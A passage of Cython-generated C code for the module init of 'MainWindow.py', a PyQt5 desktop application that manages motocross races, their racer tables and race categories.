---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "MainWindow.py":8 * * * from PyQt5 import QtWidgets, QtCore # <<<<<<<<<<<<<< * from PyQt5.QtCore import QTimer * from PyQt5.QtGui import QBrush */ __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QtWidgets); __Pyx_GIVEREF(__pyx_n_s_QtWidgets); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QtWidgets); __Pyx_INCREF(__pyx_n_s_QtCore); __Pyx_GIVEREF(__pyx_n_s_QtCore); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QtCore); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtWidgets, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QtCore, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":9 * * from PyQt5 import QtWidgets, QtCore * from PyQt5.QtCore import QTimer # <<<<<<<<<<<<<< * from PyQt5.QtGui import QBrush * from gui.Ui_MainWindow import Ui_MainWindow */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_QTimer); __Pyx_GIVEREF(__pyx_n_s_QTimer); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_QTimer); __pyx_t_1 = __Pyx_Import(__pyx_n_s_PyQt5_QtCore, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QTimer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QTimer, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":10 * from PyQt5 import QtWidgets, QtCore * from PyQt5.QtCore import QTimer * from PyQt5.QtGui import QBrush # <<<<<<<<<<<<<< * from gui.Ui_MainWindow import Ui_MainWindow * # Tables definition imports */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QBrush); __Pyx_GIVEREF(__pyx_n_s_QBrush); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QBrush); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtGui, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QBrush); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QBrush, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":11 * from PyQt5.QtCore import QTimer * from PyQt5.QtGui import QBrush * from gui.Ui_MainWindow import Ui_MainWindow # <<<<<<<<<<<<<< * # Tables definition imports * from tables.T_Marques import T_Marques */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Ui_MainWindow); __Pyx_GIVEREF(__pyx_n_s_Ui_MainWindow); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Ui_MainWindow); __pyx_t_1 = __Pyx_Import(__pyx_n_s_gui_Ui_MainWindow, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Ui_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Ui_MainWindow, __pyx_t_2) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":13 * from gui.Ui_MainWindow import Ui_MainWindow * # Tables definition imports * from tables.T_Marques import T_Marques # <<<<<<<<<<<<<< * from tables.T_Concurrents import T_Concurrents * from tables.T_Pays import T_Pays */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_T_Marques); __Pyx_GIVEREF(__pyx_n_s_T_Marques); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_T_Marques); __pyx_t_2 = __Pyx_Import(__pyx_n_s_tables_T_Marques, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_T_Marques); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_T_Marques, __pyx_t_1) < 0) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":14 * # Tables definition imports * from tables.T_Marques import T_Marques * from tables.T_Concurrents import T_Concurrents # <<<<<<<<<<<<<< * from tables.T_Pays import T_Pays * from tables.T_Ville import T_Ville */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_T_Concurrents); __Pyx_GIVEREF(__pyx_n_s_T_Concurrents); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_T_Concurrents); __pyx_t_1 = __Pyx_Import(__pyx_n_s_tables_T_Concurrents, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_T_Concurrents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_T_Concurrents, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":15 * from tables.T_Marques import T_Marques * from tables.T_Concurrents import T_Concurrents * from tables.T_Pays import T_Pays # <<<<<<<<<<<<<< * from tables.T_Ville import T_Ville * import Globals */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_T_Pays); __Pyx_GIVEREF(__pyx_n_s_T_Pays); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_T_Pays); __pyx_t_2 = __Pyx_Import(__pyx_n_s_tables_T_Pays, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_T_Pays); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_T_Pays, __pyx_t_1) < 0) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":16 * from tables.T_Concurrents import T_Concurrents * from tables.T_Pays import T_Pays * from tables.T_Ville import T_Ville # <<<<<<<<<<<<<< * import Globals * from Globals import colors */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_T_Ville); __Pyx_GIVEREF(__pyx_n_s_T_Ville); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_T_Ville); __pyx_t_1 = __Pyx_Import(__pyx_n_s_tables_T_Ville, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_T_Ville); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_T_Ville, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":17 * from tables.T_Pays import T_Pays * from tables.T_Ville import T_Ville * import Globals # <<<<<<<<<<<<<< * from Globals import colors * from Globals import tpRacerList */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_Globals, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Globals, __pyx_t_1) < 0) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":18 * from tables.T_Ville import T_Ville * import Globals * from Globals import colors # <<<<<<<<<<<<<< * from Globals import tpRacerList * from gui.Set_RacerTp import Set_RacerTp */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_colors); __Pyx_GIVEREF(__pyx_n_s_colors); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_colors); __pyx_t_2 = __Pyx_Import(__pyx_n_s_Globals, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_colors, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":19 * import Globals * from Globals import colors * from Globals import tpRacerList # <<<<<<<<<<<<<< * from gui.Set_RacerTp import Set_RacerTp * from manageRace import manageRace */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_tpRacerList); __Pyx_GIVEREF(__pyx_n_s_tpRacerList); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_tpRacerList); __pyx_t_1 = __Pyx_Import(__pyx_n_s_Globals, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_tpRacerList, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":20 * from Globals import colors * from Globals import tpRacerList * from gui.Set_RacerTp import Set_RacerTp # <<<<<<<<<<<<<< * from manageRace import manageRace * */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_Set_RacerTp); __Pyx_GIVEREF(__pyx_n_s_Set_RacerTp); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_Set_RacerTp); __pyx_t_2 = __Pyx_Import(__pyx_n_s_gui_Set_RacerTp, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Set_RacerTp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Set_RacerTp, __pyx_t_1) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":21 * from Globals import tpRacerList * from gui.Set_RacerTp import Set_RacerTp * from manageRace import manageRace # <<<<<<<<<<<<<< * * _categorie = [ */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_manageRace); __Pyx_GIVEREF(__pyx_n_s_manageRace); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_manageRace); __pyx_t_1 = __Pyx_Import(__pyx_n_s_manageRace, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_manageRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_manageRace, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":24 * * _categorie = [ * ["MX1", ["Top", "Pro", "Carton"]], # <<<<<<<<<<<<<< * ["MX2", ["Top", "Pro", "Carton"]], * ["Mini", ["Mini"]], */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_u_Top); __Pyx_GIVEREF(__pyx_n_u_Top); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_u_Top); __Pyx_INCREF(__pyx_n_u_Pro); __Pyx_GIVEREF(__pyx_n_u_Pro); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_u_Pro); __Pyx_INCREF(__pyx_n_u_Carton); __Pyx_GIVEREF(__pyx_n_u_Carton); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_u_Carton); __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_u_MX1); __Pyx_GIVEREF(__pyx_n_u_MX1); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_u_MX1); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":25 * _categorie = [ * ["MX1", ["Top", "Pro", "Carton"]], * ["MX2", ["Top", "Pro", "Carton"]], # <<<<<<<<<<<<<< * ["Mini", ["Mini"]], * ["MX125", ["Top", "Pro", "Carton"]], */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_u_Top); __Pyx_GIVEREF(__pyx_n_u_Top); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_u_Top); __Pyx_INCREF(__pyx_n_u_Pro); __Pyx_GIVEREF(__pyx_n_u_Pro); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_u_Pro); __Pyx_INCREF(__pyx_n_u_Carton); __Pyx_GIVEREF(__pyx_n_u_Carton); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_u_Carton); __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_u_MX2); __Pyx_GIVEREF(__pyx_n_u_MX2); PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_u_MX2); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_3, 1, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":26 * ["MX1", ["Top", "Pro", "Carton"]], * ["MX2", ["Top", "Pro", "Carton"]], * ["Mini", ["Mini"]], # <<<<<<<<<<<<<< * ["MX125", ["Top", "Pro", "Carton"]], * ["MX3", ["MX3", "Carton"]] */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_u_Mini); __Pyx_GIVEREF(__pyx_n_u_Mini); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_u_Mini); __pyx_t_4 = PyList_New(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_n_u_Mini); __Pyx_GIVEREF(__pyx_n_u_Mini); PyList_SET_ITEM(__pyx_t_4, 0, __pyx_n_u_Mini); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_4, 1, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":27 * ["MX2", ["Top", "Pro", "Carton"]], * ["Mini", ["Mini"]], * ["MX125", ["Top", "Pro", "Carton"]], # <<<<<<<<<<<<<< * ["MX3", ["MX3", "Carton"]] * ] */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_u_Top); __Pyx_GIVEREF(__pyx_n_u_Top); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_u_Top); __Pyx_INCREF(__pyx_n_u_Pro); __Pyx_GIVEREF(__pyx_n_u_Pro); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_u_Pro); __Pyx_INCREF(__pyx_n_u_Carton); __Pyx_GIVEREF(__pyx_n_u_Carton); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_u_Carton); __pyx_t_5 = PyList_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_n_u_MX125); __Pyx_GIVEREF(__pyx_n_u_MX125); PyList_SET_ITEM(__pyx_t_5, 0, __pyx_n_u_MX125); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_5, 1, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":28 * ["Mini", ["Mini"]], * ["MX125", ["Top", "Pro", "Carton"]], * ["MX3", ["MX3", "Carton"]] # <<<<<<<<<<<<<< * ] * */ __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_u_MX3); __Pyx_GIVEREF(__pyx_n_u_MX3); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_u_MX3); __Pyx_INCREF(__pyx_n_u_Carton); __Pyx_GIVEREF(__pyx_n_u_Carton); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_u_Carton); __pyx_t_6 = PyList_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_n_u_MX3); __Pyx_GIVEREF(__pyx_n_u_MX3); PyList_SET_ITEM(__pyx_t_6, 0, __pyx_n_u_MX3); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_6, 1, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":23 * from manageRace import manageRace * * _categorie = [ # <<<<<<<<<<<<<< * ["MX1", ["Top", "Pro", "Carton"]], * ["MX2", ["Top", "Pro", "Carton"]], */ __pyx_t_1 = PyList_New(5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyList_SET_ITEM(__pyx_t_1, 3, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyList_SET_ITEM(__pyx_t_1, 4, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_3 = 0; __pyx_t_4 = 0; __pyx_t_5 = 0; __pyx_t_6 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_categorie, __pyx_t_1) < 0) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":32 * * * class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow): # <<<<<<<<<<<<<< * __RacerEdited = None * __ActualRace = None */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QMainWindow); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Ui_MainWindow); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_1); __pyx_t_6 = 0; __pyx_t_1 = 0; __pyx_t_1 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_1, __pyx_t_5, __pyx_n_s_MainWindow, __pyx_n_s_MainWindow, (PyObject *) NULL, __pyx_n_s_MainWindow, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); /* "MainWindow.py":33 * * class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow): * __RacerEdited = None # <<<<<<<<<<<<<< * __ActualRace = None * */ if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_MainWindow__RacerEdited, Py_None) < 0) __PYX_ERR(0, 33, __pyx_L1_error) /* "MainWindow.py":34 * class MainWindow(QtWidgets.QMainWindow, Ui_MainWindow): * __RacerEdited = None * __ActualRace = None # <<<<<<<<<<<<<< * * def getActualRace(self): */ if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_MainWindow__ActualRace, Py_None) < 0) __PYX_ERR(0, 34, __pyx_L1_error) /* "MainWindow.py":36 * __ActualRace = None * * def getActualRace(self): # <<<<<<<<<<<<<< * return self.__ActualRace * */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_1getActualRace, 0, __pyx_n_s_MainWindow_getActualRace, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__26)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_getActualRace, __pyx_t_4) < 0) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":39 * return self.__ActualRace * * def getRacer(self): # <<<<<<<<<<<<<< * return self.__RacerEdited * */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_3getRacer, 0, __pyx_n_s_MainWindow_getRacer, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_getRacer, __pyx_t_4) < 0) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":42 * return self.__RacerEdited * * def setRacer(self, theRacer): # <<<<<<<<<<<<<< * self.__RacerEdited = theRacer * */ __pyx_t_4 = __Pyx_CyFunction_NewEx(&__pyx_mdef_10MainWindow_10MainWindow_5setRacer, 0, __pyx_n_s_MainWindow_setRacer, NULL, __pyx_n_s_MainWindow, __pyx_d, ((PyObject *)__pyx_codeobj__30)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyObject_SetItem(__pyx_t_6, __pyx_n_s_setRacer, __pyx_t_4) < 0) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "MainWindow.py":45 * self.__RacerEdited = theRacer * * def __init__(self, parent=None): # 